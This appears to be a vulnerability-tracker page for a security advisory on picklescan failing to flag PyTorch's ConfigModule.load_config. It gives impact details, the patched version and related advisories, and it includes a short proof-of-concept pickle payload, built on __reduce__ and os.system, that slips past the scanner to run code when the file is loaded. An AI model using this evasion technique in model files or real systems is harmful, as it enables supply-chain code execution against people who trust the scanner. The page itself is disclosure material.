CVE-2025-71348High· 8.1▾ TwilightPicklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 44.6 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 11.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.6%
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
https://github.com/FredericDT https://github.com/Qhaoduoyu
picklescan < 0.0.28Upgrade to a patched release:
picklescan 0.0.28Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2025-71370High· 8.1Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
CVE-2025-71350MediumPicklescan missing detection when calling pytorch function torch.utils.collect_env.run
GHSA-qvp4-q2p5-22ggHigh· 8.1Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config
CVE-2025-71357HighPicklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
CVE-2025-71378MediumPicklescan is missing detection when calling built-in Python cProfile.runctx
CVE-2026-56304Mediumpicklescan vulnerable to arbitrary file create using logging.FileHandler